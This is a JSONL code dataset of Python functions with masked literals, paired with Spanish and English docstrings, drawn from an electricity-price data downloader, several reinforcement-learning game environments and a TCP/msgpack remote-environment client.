{"signature": "def main_cli():", "body": "def _get_parser_args():<EOL><INDENT>p = argparse.ArgumentParser(description='<STR_LIT>')<EOL>p.add_argument('<STR_LIT>', '<STR_LIT>', action='<STR_LIT:store_true>', help='<STR_LIT>')<EOL>p.add_argument('<STR_LIT>', '<STR_LIT>', action='<STR_LIT:store>', nargs='<STR_LIT:*>',<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>p.add_argument('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', action='<STR_LIT:store_true>',<EOL>help=\"<STR_LIT>\")<EOL>p.add_argument('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', action='<STR_LIT:store_true>',<EOL>help=\"<STR_LIT>\")<EOL>p.add_argument('<STR_LIT>', '<STR_LIT>', action='<STR_LIT:store_true>', help=\"<STR_LIT>\")<EOL>p.add_argument('<STR_LIT>', '<STR_LIT>', action='<STR_LIT:store_true>', help='<STR_LIT>')<EOL>arguments = p.parse_args()<EOL>return arguments, p<EOL><DEDENT>def _parse_date(string, columns):<EOL><INDENT>try:<EOL><INDENT>ts = pd.Timestamp(string)<EOL>print_cyan('<STR_LIT>'.format(string, ts, ts.date()))<EOL>columns.remove(string)<EOL>return ts.date().isoformat()<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>args, parser = _get_parser_args()<EOL>print_secc('<STR_LIT>')<EOL>if args.dem:<EOL><INDENT>db_web = DatosREE(update=args.update, force_update=args.forceupdate, verbose=args.verbose)<EOL><DEDENT>else:<EOL><INDENT>db_web = PVPC(update=args.update, force_update=args.forceupdate, verbose=args.verbose)<EOL><DEDENT>data = db_web.data['<STR_LIT:data>']<EOL>if args.info is not None:<EOL><INDENT>if len(args.info) > <NUM_LIT:0>:<EOL><INDENT>cols = args.info.copy()<EOL>dates = [d for d in [_parse_date(s, cols) for s in args.info] if d]<EOL>if len(dates) == <NUM_LIT:2>:<EOL><INDENT>data = data.loc[dates[<NUM_LIT:0>]:dates[<NUM_LIT:1>]]<EOL><DEDENT>elif len(dates) == <NUM_LIT:1>:<EOL><INDENT>data = data.loc[dates[<NUM_LIT:0>]]<EOL><DEDENT>if len(cols) > <NUM_LIT:0>:<EOL><INDENT>try:<EOL><INDENT>data = data[[c.upper() for c in cols]]<EOL><DEDENT>except KeyError as e:<EOL><INDENT>print_red('<STR_LIT>'<EOL>.format(e, data.columns))<EOL><DEDENT><DEDENT>print_info(data)<EOL><DEDENT>else:<EOL><INDENT>print_secc('<STR_LIT>')<EOL>print_info(data.iloc[-<NUM_LIT>:])<EOL>print_cyan(data.columns)<EOL><DEDENT><DEDENT>if args.plot:<EOL><INDENT>if args.dem:<EOL><INDENT>from esiosdata.pvpcplot import pvpcplot_tarifas_hora, pvpcplot_grid_hora<EOL>print_red('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>from esiosdata.pvpcplot import pvpcplot_tarifas_hora, pvpcplot_grid_hora<EOL>if len(data) < <NUM_LIT>:<EOL><INDENT>pvpcplot_grid_hora(data)<EOL><DEDENT>else:<EOL><INDENT>print_red('<STR_LIT>'.<EOL>format(len(data), data.index[<NUM_LIT:0>], data.index[-<NUM_LIT:1>]))<EOL>pvpcplot_grid_hora(db_web.data['<STR_LIT:data>'].iloc[-<NUM_LIT>:])<EOL>pvpcplot_tarifas_hora(db_web.data['<STR_LIT:data>'].iloc[-<NUM_LIT>:])<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Actualiza la base de datos de PVPC/DEMANDA almacenados como dataframe en local,\ncreando una nueva si no existe o hubiere alg\u00fan problema. Los datos registrados se guardan en HDF5", "id": "f14219:m0"}
{"signature": "def dem_url_dia(dt_day='<STR_LIT>'):", "body": "def _url_tipo_dato(str_dia, k):<EOL><INDENT>url = SERVER + '<STR_LIT>'.format(D_TIPOS_REQ_DEM[k])<EOL>if type(str_dia) is str:<EOL><INDENT>return url + '<STR_LIT>' + str_dia<EOL><DEDENT>else:<EOL><INDENT>return url + '<STR_LIT>' + str_dia.date().isoformat()<EOL><DEDENT><DEDENT>urls = [_url_tipo_dato(dt_day, k) for k in D_TIPOS_REQ_DEM.keys()]<EOL>return urls<EOL>", "docstring": "Obtiene las urls de descarga de los datos de demanda energ\u00e9tica de un d\u00eda concreto.", "id": "f14220:m0"}
{"signature": "def dem_procesa_datos_dia(key_day, response):", "body": "dfs_import, df_import, dfs_maxmin, hay_errores = [], None, [], <NUM_LIT:0><EOL>for r in response:<EOL><INDENT>tipo_datos, data = _extract_func_json_data(r)<EOL>if tipo_datos is not None:<EOL><INDENT>if ('<STR_LIT>' in tipo_datos) and data:<EOL><INDENT>df_import = _import_daily_max_min(data)<EOL>dfs_maxmin.append(df_import)<EOL><DEDENT>elif data:<EOL><INDENT>df_import = _import_json_ts_data(data)<EOL>dfs_import.append(df_import)<EOL><DEDENT><DEDENT>if tipo_datos is None or df_import is None:<EOL><INDENT>hay_errores += <NUM_LIT:1><EOL><DEDENT><DEDENT>if hay_errores == <NUM_LIT:4>:<EOL><INDENT>print_redb('<STR_LIT>'.format(key_day))<EOL>return None, -<NUM_LIT:2><EOL><DEDENT>else:  <EOL><INDENT>data_import = {}<EOL>if dfs_import:<EOL><INDENT>data_import[KEYS_DATA_DEM[<NUM_LIT:0>]] = dfs_import[<NUM_LIT:0>].join(dfs_import[<NUM_LIT:1>])<EOL><DEDENT>if len(dfs_maxmin) == <NUM_LIT:2>:<EOL><INDENT>data_import[KEYS_DATA_DEM[<NUM_LIT:1>]] = dfs_maxmin[<NUM_LIT:0>].join(dfs_maxmin[<NUM_LIT:1>])<EOL><DEDENT>elif dfs_maxmin:<EOL><INDENT>data_import[KEYS_DATA_DEM[<NUM_LIT:1>]] = dfs_maxmin[<NUM_LIT:0>]<EOL><DEDENT>if not data_import:<EOL><INDENT>print_err('<STR_LIT>'.format(key_day, hay_errores))<EOL>return None, -<NUM_LIT:2><EOL><DEDENT>return data_import, <NUM_LIT:0><EOL><DEDENT>", "docstring": "Procesa los datos descargados en JSON.", "id": "f14220:m4"}
{"signature": "def dem_data_dia(str_dia='<STR_LIT>', str_dia_fin=None):", "body": "params = {'<STR_LIT>': DATE_FMT, '<STR_LIT>': False, '<STR_LIT>': <NUM_LIT:1>, \"<STR_LIT>\": <NUM_LIT:10>,<EOL>'<STR_LIT>': dem_procesa_datos_dia, '<STR_LIT>': dem_url_dia,<EOL>'<STR_LIT>': {'<STR_LIT>': False, '<STR_LIT>': HEADERS}}<EOL>if str_dia_fin is not None:<EOL><INDENT>params['<STR_LIT>'] = True<EOL>data, hay_errores, str_import = get_data_en_intervalo(str_dia, str_dia_fin, **params)<EOL><DEDENT>else:<EOL><INDENT>data, hay_errores, str_import = get_data_en_intervalo(str_dia, str_dia, **params)<EOL><DEDENT>if not hay_errores:<EOL><INDENT>return data<EOL><DEDENT>else:<EOL><INDENT>print_err(str_import)<EOL>return None<EOL><DEDENT>", "docstring": "Obtiene datos de demanda energ\u00e9tica en un d\u00eda concreto o un intervalo, accediendo directamente a la web.", "id": "f14220:m5"}
{"signature": "def url_data_dia(self, key_dia):", "body": "return pvpc_url_dia(key_dia)<EOL>", "docstring": "Devuelve la url de descarga de datos para `key_dia`.", "id": "f14221:c0:m1"}
{"signature": "def procesa_data_dia(self, key_dia, datos_para_procesar):", "body": "return pvpc_procesa_datos_dia(key_dia, datos_para_procesar, verbose=self.verbose)<EOL>", "docstring": "Procesa los datos descargados correspondientes a un d\u00eda `key_dia`.", "id": "f14221:c0:m2"}
{"signature": "def get_resample_data(self):", "body": "if self.data is not None:<EOL><INDENT>if self._pvpc_mean_daily is None:<EOL><INDENT>self._pvpc_mean_daily = self.data['<STR_LIT:data>'].resample('<STR_LIT:D>').mean()<EOL><DEDENT>if self._pvpc_mean_monthly is None:<EOL><INDENT>self._pvpc_mean_monthly = self.data['<STR_LIT:data>'].resample('<STR_LIT>').mean()<EOL><DEDENT><DEDENT>return self._pvpc_mean_daily, self._pvpc_mean_monthly<EOL>", "docstring": "Obtiene los dataframes de los datos de PVPC con resampling diario y mensual.", "id": "f14221:c0:m3"}
{"signature": "@property<EOL><INDENT>def tarifas(self):<DEDENT>", "body": "return ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>", "docstring": "Devuelve los c\u00f3digos de las tarifas monof\u00e1sicas de < 10 kW.", "id": "f14221:c0:m4"}
{"signature": "@property<EOL><INDENT>def colores_tarifas(self):<DEDENT>", "body": "return {'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>'}<EOL>", "docstring": "Devuelve un dict con los colores (hex values) por tarifa.", "id": "f14221:c0:m5"}
{"signature": "def url_data_dia(self, key_dia):", "body": "return dem_url_dia(key_dia)<EOL>", "docstring": "Devuelve la url de descarga de datos para `key_dia`.", "id": "f14221:c1:m1"}
{"signature": "def procesa_data_dia(self, str_dia, datos_para_procesar):", "body": "return dem_procesa_datos_dia(str_dia, datos_para_procesar)<EOL>", "docstring": "Procesa los datos descargados correspondientes a un d\u00eda `key_dia`.", "id": "f14221:c1:m2"}
{"signature": "def post_update_data(self):", "body": "if self.data is not None:<EOL><INDENT>self.data['<STR_LIT>'] = self.busca_errores_data()<EOL><DEDENT>", "docstring": "Definici\u00f3n opcional para analizar la informaci\u00f3n descargada en busca de errores,\nque quedan almacenados en `self.data['errores']`.", "id": "f14221:c1:m3"}
{"signature": "def last_entry(self, data_revisar=None, key_revisar=None):", "body": "if data_revisar is None and key_revisar is None:<EOL><INDENT>data_revisar = self.data[self.masterkey][pd.notnull(self.data[self.masterkey]['<STR_LIT>'])]<EOL>super(DatosREE, self).printif('<STR_LIT>', '<STR_LIT:info>')<EOL>super(DatosREE, self).printif(data_revisar.tail(), '<STR_LIT:info>')<EOL>return super(DatosREE, self).last_entry(data_revisar, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return super(DatosREE, self).last_entry(data_revisar, key_revisar)<EOL><DEDENT>", "docstring": "Definici\u00f3n espec\u00edfica para filtrar por datos de demanda energ\u00e9tica (pues los datos se extienden m\u00e1s all\u00e1 del\ntiempo presente debido a las columnas de potencia prevista y programada.\n\n:param data_revisar: (OPC) Se puede pasar un dataframe espec\u00edfico\n:param key_revisar: (OPC) Normalmente, para utilizar 'dem'\n:return: tmax, num_entradas", "id": "f14221:c1:m4"}
{"signature": "def integridad_data(self, data_integr=None, key=None):", "body": "if data_integr is None and key is None and all(k in self.data.keys() for k in KEYS_DATA_DEM):<EOL><INDENT>assert(self.data[KEYS_DATA_DEM[<NUM_LIT:0>]].index.freq == FREQ_DAT_DEM<EOL>and self.data[KEYS_DATA_DEM[<NUM_LIT:0>]].index.tz == self.TZ)<EOL>if self.data[KEYS_DATA_DEM[<NUM_LIT:1>]] is not None:<EOL><INDENT>assert(self.data[KEYS_DATA_DEM[<NUM_LIT:1>]].index.freq == '<STR_LIT:D>')<EOL><DEDENT><DEDENT>super(DatosREE, self).integridad_data(data_integr, key)<EOL>", "docstring": "Definici\u00f3n espec\u00edfica para comprobar timezone y frecuencia de los datos, adem\u00e1s de comprobar\nque el index de cada dataframe de la base de datos sea de fechas, \u00fanico (sin duplicados) y creciente\n:param data_integr:\n:param key:", "id": "f14221:c1:m5"}
{"signature": "def busca_errores_data(self):", "body": "data_busqueda = self.append_delta_index(TS_DATA_DEM, data_delta=self.data[self.masterkey].copy())<EOL>idx_desconex = (((data_busqueda.index < '<STR_LIT>') & (data_busqueda.index >= self.DATE_INI)) &<EOL>((data_busqueda.delta_T > <NUM_LIT:1>) | data_busqueda['<STR_LIT>'].isnull() |<EOL>data_busqueda['<STR_LIT>'].isnull() | data_busqueda['<STR_LIT>'].isnull()))<EOL>sosp = data_busqueda[idx_desconex].copy()<EOL>assert len(sosp) == <NUM_LIT:0><EOL>return pd.DataFrame()<EOL>", "docstring": "Busca errores o inconsistencias en los datos adquiridos\n:return: Dataframe de errores encontrados", "id": "f14221:c1:m6"}
{"signature": "def pvpc_url_dia(dt_day):", "body": "if type(dt_day) is str:<EOL><INDENT>return SERVER + '<STR_LIT>' + '<STR_LIT>' + dt_day<EOL><DEDENT>else:<EOL><INDENT>return SERVER + '<STR_LIT>' + '<STR_LIT>' + dt_day.date().isoformat()<EOL><DEDENT>", "docstring": "Obtiene la url de descarga de los datos de PVPC de un d\u00eda concreto.\n\n    Anteriormente era: 'http://www.esios.ree.es/Solicitar?fileName=pvpcdesglosehorario_' + str_dia\n    + '&fileType=xml&idioma=es', pero ahora es en JSON y requiere token_auth en headers.", "id": "f14223:m0"}
{"signature": "def pvpc_calc_tcu_cp_feu_d(df, verbose=True, convert_kwh=True):", "body": "if '<STR_LIT>' + TARIFAS[<NUM_LIT:0>] not in df.columns:<EOL><INDENT>if convert_kwh:<EOL><INDENT>cols_mwh = [c + t for c in COLS_PVPC for t in TARIFAS if c != '<STR_LIT>']<EOL>df[cols_mwh] = df[cols_mwh].applymap(lambda x: x / <NUM_LIT>)<EOL><DEDENT>gb_t = df.groupby(lambda x: TARIFAS[np.argmax([t in x for t in TARIFAS])], axis=<NUM_LIT:1>)<EOL>for k, g in gb_t:<EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>'.format(k))<EOL>print(g.head())<EOL><DEDENT>df['<STR_LIT>'.format(k)] = g[k] - g['<STR_LIT>'.format(k)]<EOL>cols_cp = [c + k for c in COLS_PVPC if c not in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']]<EOL>df['<STR_LIT>'.format(k)] = g[cols_cp].sum(axis=<NUM_LIT:1>)<EOL>cols_k = ['<STR_LIT>' + k, '<STR_LIT>' + k, '<STR_LIT>' + k]<EOL>g = df[cols_k].groupby('<STR_LIT>' + k)<EOL>pr = g.apply(lambda x: x['<STR_LIT>' + k].dot(x['<STR_LIT>' + k]) / x['<STR_LIT>' + k].sum())<EOL>pr.name = '<STR_LIT>' + k<EOL>df = df.join(pr, on='<STR_LIT>' + k, rsuffix='<STR_LIT>')<EOL>df['<STR_LIT>' + k] += df['<STR_LIT>' + k]<EOL><DEDENT><DEDENT>return df<EOL>", "docstring": "Procesa TCU, CP, FEU diario.\n\n    :param df:\n    :param verbose:\n    :param convert_kwh:\n    :return:", "id": "f14223:m1"}
{"signature": "def pvpc_procesa_datos_dia(_, response, verbose=True):", "body": "try:<EOL><INDENT>d_data = response['<STR_LIT>']<EOL>df = _process_json_pvpc_hourly_data(pd.DataFrame(d_data))<EOL>return df, <NUM_LIT:0><EOL><DEDENT>except Exception as e:<EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>'.format(e))<EOL><DEDENT>return None, -<NUM_LIT:2><EOL><DEDENT>", "docstring": "Procesa la informaci\u00f3n JSON descargada y forma el dataframe de los datos de un d\u00eda.", "id": "f14223:m3"}
{"signature": "def pvpc_data_dia(str_dia, str_dia_fin=None):", "body": "params = {'<STR_LIT>': DATE_FMT, '<STR_LIT>': False,<EOL>'<STR_LIT>': pvpc_procesa_datos_dia, '<STR_LIT>': pvpc_url_dia,<EOL>'<STR_LIT>': {'<STR_LIT>': True, '<STR_LIT>': HEADERS}}<EOL>if str_dia_fin is not None:<EOL><INDENT>params['<STR_LIT>'] = True<EOL>data, hay_errores, str_import = get_data_en_intervalo(str_dia, str_dia_fin, **params)<EOL><DEDENT>else:<EOL><INDENT>data, hay_errores, str_import = get_data_en_intervalo(str_dia, str_dia, **params)<EOL><DEDENT>if not hay_errores:<EOL><INDENT>return data<EOL><DEDENT>else:<EOL><INDENT>return str_import<EOL><DEDENT>", "docstring": "Obtiene datos de PVPC en un d\u00eda concreto o un intervalo, accediendo directamente a la web.", "id": "f14223:m4"}
{"signature": "def close(self):", "body": "self.env = None<EOL>", "docstring": "Close environment. No other method calls possible afterwards.", "id": "f14224:c0:m2"}
{"signature": "def seed(self, seed): ", "body": "if seed is None:<EOL><INDENT>self.env.seed = round(time.time())<EOL><DEDENT>else:<EOL><INDENT>self.env.seed = seed<EOL><DEDENT>return self.env.seed<EOL>", "docstring": "Sets the random seed of the environment to the given value (current time, if seed=None).\nNaturally deterministic Environments (e.g. ALE or some gym Envs) don't have to implement this method.\n\nArgs:\n    seed (int): The seed to use for initializing the pseudo-random number generator (default=epoch time in sec).\nReturns: The actual seed (int) used OR None if Environment did not override this method (no seeding supported).", "id": "f14224:c0:m3"}
{"signature": "def reset(self):", "body": "self.env.reset_game()<EOL>return self.env.getScreenRGB()<EOL>", "docstring": "Reset environment and setup for new episode.\n\nReturns:\n    initial state of reset environment.", "id": "f14224:c0:m4"}
{"signature": "def execute(self, action):", "body": "if self.env.game_over():<EOL><INDENT>return self.env.getScreenRGB(), True, <NUM_LIT:0><EOL><DEDENT>action_space = self.env.getActionSet()<EOL>reward = self.env.act(action_space[action])<EOL>new_state = self.env.getScreenRGB()<EOL>done = self.env.game_over()<EOL>return new_state, done, reward<EOL>", "docstring": "Executes action, observes next state and reward.\n\nArgs:\n    actions: Action to execute.\n\nReturns:\n    (Dict of) next state(s), boolean indicating terminal, and reward signal.", "id": "f14224:c0:m5"}
{"signature": "@property<EOL><INDENT>def states(self):<DEDENT>", "body": "screen = self.env.getScreenRGB()<EOL>return dict(shape=screen.shape, type='<STR_LIT:int>')<EOL>", "docstring": "Return the state space. Might include subdicts if multiple states are\navailable simultaneously.\n\nReturns: dict of state properties (shape and type).", "id": "f14224:c0:m6"}
{"signature": "@property<EOL><INDENT>def actions(self):<DEDENT>", "body": "return dict(num_actions=len(self.env.getActionSet()), type='<STR_LIT:int>')<EOL>", "docstring": "Return the action space. Might include subdicts if multiple actions are\navailable simultaneously.\n\nReturns: dict of action properties (continuous, number of actions)", "id": "f14224:c0:m7"}
{"signature": "def __init__(self, mode_id=<NUM_LIT:0>, visible=True):", "body": "self.mode_id = int(mode_id)<EOL>self.engine = mx.MazeExplorer(mode_id, visible)<EOL>", "docstring": "Initialize MazeExplorer.\n\nArgs:\n    mode_id: Game mode ID. See https://github.com/mryellow/maze_explorer\n    visible: Show output window", "id": "f14225:c0:m0"}
{"signature": "def __init__(self, state=None, initial_score=<NUM_LIT:0>):", "body": "self._score = initial_score<EOL>if state is None:<EOL><INDENT>self._state = np.zeros((<NUM_LIT:4>, <NUM_LIT:4>), dtype=np.int)<EOL>self.add_random_tile()<EOL>self.add_random_tile()<EOL><DEDENT>else:<EOL><INDENT>self._state = state<EOL><DEDENT>", "docstring": "Init the Game object.\n        Args:\n        state: Shape (4, 4) numpy array to initialize the state with. If None,\n            the state will be initialized with with two random tiles (as done\n            in the original game).\n        initial_score: Score to initialize the Game with.", "id": "f14226:c0:m6"}
{"signature": "def copy(self):", "body": "return Game2048(np.copy(self._state), self._score)<EOL>", "docstring": "Return a copy of self.", "id": "f14226:c0:m7"}
{"signature": "def game_over(self):", "body": "for action in range(<NUM_LIT:4>):<EOL><INDENT>if self.is_action_available(action):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Whether the game is over.", "id": "f14226:c0:m8"}
{"signature": "def available_actions(self):", "body": "return [action for action in range(<NUM_LIT:4>) if self.is_action_available(action)]<EOL>", "docstring": "Computes the set of actions that are available.", "id": "f14226:c0:m9"}
{"signature": "def is_action_available(self, action):", "body": "temp_state = np.rot90(self._state, action)<EOL>return self._is_action_available_left(temp_state)<EOL>", "docstring": "Determines whether action is available.\n        That is, executing it would change the state.", "id": "f14226:c0:m10"}
{"signature": "def _is_action_available_left(self, state):", "body": "<EOL>for row in range(<NUM_LIT:4>):<EOL><INDENT>has_empty = False<EOL>for col in range(<NUM_LIT:4>):<EOL><INDENT>has_empty |= state[row, col] == <NUM_LIT:0><EOL>if state[row, col] != <NUM_LIT:0> and has_empty:<EOL><INDENT>return True<EOL><DEDENT>if (state[row, col] != <NUM_LIT:0> and col > <NUM_LIT:0> and<EOL>state[row, col] == state[row, col - <NUM_LIT:1>]):<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "Determines whether action 'Left' is available.", "id": "f14226:c0:m11"}
{"signature": "def do_action(self, action):", "body": "temp_state = np.rot90(self._state, action)<EOL>reward = self._do_action_left(temp_state)<EOL>self._state = np.rot90(temp_state, -action)<EOL>self._score += reward<EOL>self.add_random_tile()<EOL>return reward<EOL>", "docstring": "Execute action, add a new tile, update the score & return the reward.", "id": "f14226:c0:m12"}
{"signature": "def _do_action_left(self, state):", "body": "reward = <NUM_LIT:0><EOL>for row in range(<NUM_LIT:4>):<EOL><INDENT>merge_candidate = -<NUM_LIT:1><EOL>merged = np.zeros((<NUM_LIT:4>,), dtype=np.bool)<EOL>for col in range(<NUM_LIT:4>):<EOL><INDENT>if state[row, col] == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>if (merge_candidate != -<NUM_LIT:1> and<EOL>not merged[merge_candidate] and<EOL>state[row, merge_candidate] == state[row, col]):<EOL><INDENT>state[row, col] = <NUM_LIT:0><EOL>merged[merge_candidate] = True<EOL>state[row, merge_candidate] += <NUM_LIT:1><EOL>reward += <NUM_LIT:2> ** state[row, merge_candidate]<EOL><DEDENT>else:<EOL><INDENT>merge_candidate += <NUM_LIT:1><EOL>if col != merge_candidate:<EOL><INDENT>state[row, merge_candidate] = state[row, col]<EOL>state[row, col] = <NUM_LIT:0><EOL><DEDENT><DEDENT><DEDENT><DEDENT>return reward<EOL>", "docstring": "Executes action 'Left'.", "id": "f14226:c0:m13"}
{"signature": "def add_random_tile(self):", "body": "x_pos, y_pos = np.where(self._state == <NUM_LIT:0>)<EOL>assert len(x_pos) != <NUM_LIT:0><EOL>empty_index = np.random.choice(len(x_pos))<EOL>value = np.random.choice([<NUM_LIT:1>, <NUM_LIT:2>], p=[<NUM_LIT>, <NUM_LIT:0.1>])<EOL>self._state[x_pos[empty_index], y_pos[empty_index]] = value<EOL>", "docstring": "Adds a random tile to the grid. Assumes that it has empty fields.", "id": "f14226:c0:m14"}
{"signature": "def print_state(self):", "body": "def tile_string(value):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if value > <NUM_LIT:0>:<EOL><INDENT>return '<STR_LIT>' % (<NUM_LIT:2> ** value,)<EOL><DEDENT>return \"<STR_LIT:U+0020>\"<EOL><DEDENT>separator_line = '<STR_LIT:->' * <NUM_LIT><EOL>print(separator_line)<EOL>for row in range(<NUM_LIT:4>):<EOL><INDENT>print(\"<STR_LIT:|>\" + \"<STR_LIT:|>\".join([tile_string(v) for v in self._state[row, :]]) + \"<STR_LIT:|>\")<EOL>print(separator_line)<EOL><DEDENT>", "docstring": "Prints the current state.", "id": "f14226:c0:m15"}
{"signature": "def state(self):", "body": "return self._state<EOL>", "docstring": "Return current state.", "id": "f14226:c0:m16"}
{"signature": "def score(self):", "body": "return self._score<EOL>", "docstring": "Return current score.", "id": "f14226:c0:m17"}
{"signature": "def __init__(self, host=\"<STR_LIT:localhost>\", port=<NUM_LIT>):", "body": "Environment.__init__(self)<EOL>self.port = int(port) or <NUM_LIT><EOL>self.host = host or \"<STR_LIT:localhost>\"<EOL>self.socket = None<EOL>self.buffer_size = <NUM_LIT><EOL>self.last_observation = None<EOL>", "docstring": "A remote Environment that one can connect to through tcp.\nImplements a simple msgpack protocol to get the step/reset/etc.. commands to the\nremote server and simply waits (blocks) for a response.\n\nArgs:\n        host (str): The hostname to connect to.\n        port (int): The port to connect to.", "id": "f14227:c0:m0"}
{"signature": "def close(self):", "body": "self.disconnect()<EOL>", "docstring": "Same as disconnect method.", "id": "f14227:c0:m2"}
{"signature": "def connect(self, timeout=<NUM_LIT>):", "body": "<EOL>if self.socket:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\" +<EOL>\"<STR_LIT>\".format(self.host, self.port))<EOL><DEDENT>self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<EOL>if timeout < <NUM_LIT:5> or timeout is None:<EOL><INDENT>timeout = <NUM_LIT:5><EOL><DEDENT>err = <NUM_LIT:0><EOL>start_time = time.time()<EOL>while time.time() - start_time < timeout:<EOL><INDENT>self.socket.settimeout(<NUM_LIT:5>)<EOL>err = self.socket.connect_ex((self.host, self.port))<EOL>if err == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>time.sleep(<NUM_LIT:1>)<EOL><DEDENT>if err != <NUM_LIT:0>:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\".<EOL>format(self.host, self.port, err, errno.errorcode[err], os.strerror(err)))<EOL><DEDENT>", "docstring": "Starts the server tcp connection on the given host:port.\n\nArgs:\n    timeout (int): The time (in seconds) for which we will attempt a connection to the remote\n        (every 5sec). After that (or if timeout is None or 0), an error is raised.", "id": "f14227:c0:m3"}
{"signature": "def disconnect(self):", "body": "<EOL>if not self.socket:<EOL><INDENT>logging.warning(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>self.socket.close()<EOL>self.socket = None<EOL>", "docstring": "Ends our server tcp connection.", "id": "f14227:c0:m4"}
{"signature": "def __init__(self, max_msg_len=<NUM_LIT>):", "body": "self.max_msg_len = max_msg_len<EOL>mnp.patch()<EOL>", "docstring": "Args:\n    max_msg_len (int): The maximum number of bytes to read from the socket.", "id": "f14227:c1:m0"}
{"signature": "def send(self, message, socket_):", "body": "if not socket_:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\")<EOL><DEDENT>elif not isinstance(message, dict):<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\")<EOL><DEDENT>message = msgpack.packb(message)<EOL>len_ = len(message)<EOL>socket_.send(bytes(\"<STR_LIT>\".format(len_), encoding=\"<STR_LIT:ascii>\") + message)<EOL>", "docstring": "Sends a message (dict) to the socket. Message consists of a 8-byte len header followed by a msgpack-numpy\n    encoded dict.\n\nArgs:\n    message: The message dict (e.g. {\"cmd\": \"reset\"})\n    socket_: The python socket object to use.", "id": "f14227:c1:m1"}
{"signature": "def recv(self, socket_, encoding=None):", "body": "unpacker = msgpack.Unpacker(encoding=encoding)<EOL>response = socket_.recv(<NUM_LIT:8>)  <EOL>if response == b\"<STR_LIT>\":<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\" +<EOL>\"<STR_LIT>\")<EOL><DEDENT>orig_len = int(response)<EOL>received_len = <NUM_LIT:0><EOL>while True:<EOL><INDENT>data = socket_.recv(min(orig_len - received_len, self.max_msg_len))<EOL>if not data:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\".<EOL>format(orig_len - received_len))<EOL><DEDENT>data_len = len(data)<EOL>received_len += data_len<EOL>unpacker.feed(data)<EOL>if received_len == orig_len:<EOL><INDENT>break<EOL><DEDENT><DEDENT>for message in unpacker:<EOL><INDENT>sts = message.get(\"<STR_LIT:status>\", message.get(b\"<STR_LIT:status>\"))<EOL>if sts:<EOL><INDENT>if sts == \"<STR_LIT>\" or sts == b\"<STR_LIT>\":<EOL><INDENT>return message<EOL><DEDENT>else:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\".<EOL>format(message.get(\"<STR_LIT:message>\", \"<STR_LIT>\")))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>raise TensorForceError(\"<STR_LIT>\".<EOL>format(orig_len))<EOL>", "docstring": "Receives a message as msgpack-numpy encoded byte-string from the given socket object.\nBlocks until something was received.\n\nArgs:\n    socket_: The python socket object to use.\n    encoding (str): The encoding to use for unpacking messages from the socket.\nReturns: The decoded (as dict) message received.", "id": "f14227:c1:m2"}
{"signature": "def __init__(<EOL>self,<EOL>host=\"<STR_LIT:localhost>\",<EOL>port=<NUM_LIT>,<EOL>connect=True,<EOL>discretize_actions=False,<EOL>delta_time=<NUM_LIT:1>/<NUM_LIT>,<EOL>num_ticks=<NUM_LIT:4><EOL>):", "body": "RemoteEnvironment.__init__(self, host, port)<EOL>self.game_name = None<EOL>self.action_space_desc = None<EOL>self.observation_space_desc = None<EOL>self.discretize_actions = discretize_actions<EOL>self.discretized_actions = None<EOL>self.delta_time = delta_time<EOL>self.num_ticks = num_ticks<EOL>self.protocol = MsgPackNumpyProtocol()<EOL>if connect:<EOL><INDENT>self.connect()<EOL><DEDENT>", "docstring": "Args:\n    host (str): The hostname to connect to.\n    port (int): The port to connect to.\n    connect (bool): Whether to connect already in this c'tor.\n    discretize_actions (bool): Whether to treat axis-mappings defined in UE4 game as discrete actions.\n        This would be necessary e.g. for agents that use q-networks where the output are q-values per discrete\n        state-action pair.\n    delta_time (float): The fake delta time to use for each single game tick.\n    num_ticks (int): The number of ticks to be executed in a single act call (each tick will\n        repeat the same given actions).", "id": "f14228:c0:m0"}
{"signature": "def reset(self):", "body": "<EOL>self.protocol.send({\"<STR_LIT>\": \"<STR_LIT>\"}, self.socket)<EOL>response = self.protocol.recv(self.socket)<EOL>return self.extract_observation(response)<EOL>", "docstring": "same as step (no kwargs to pass), but needs to block and return observation_dict\n- stores the received observation in self.last_observation", "id": "f14228:c0:m4"}
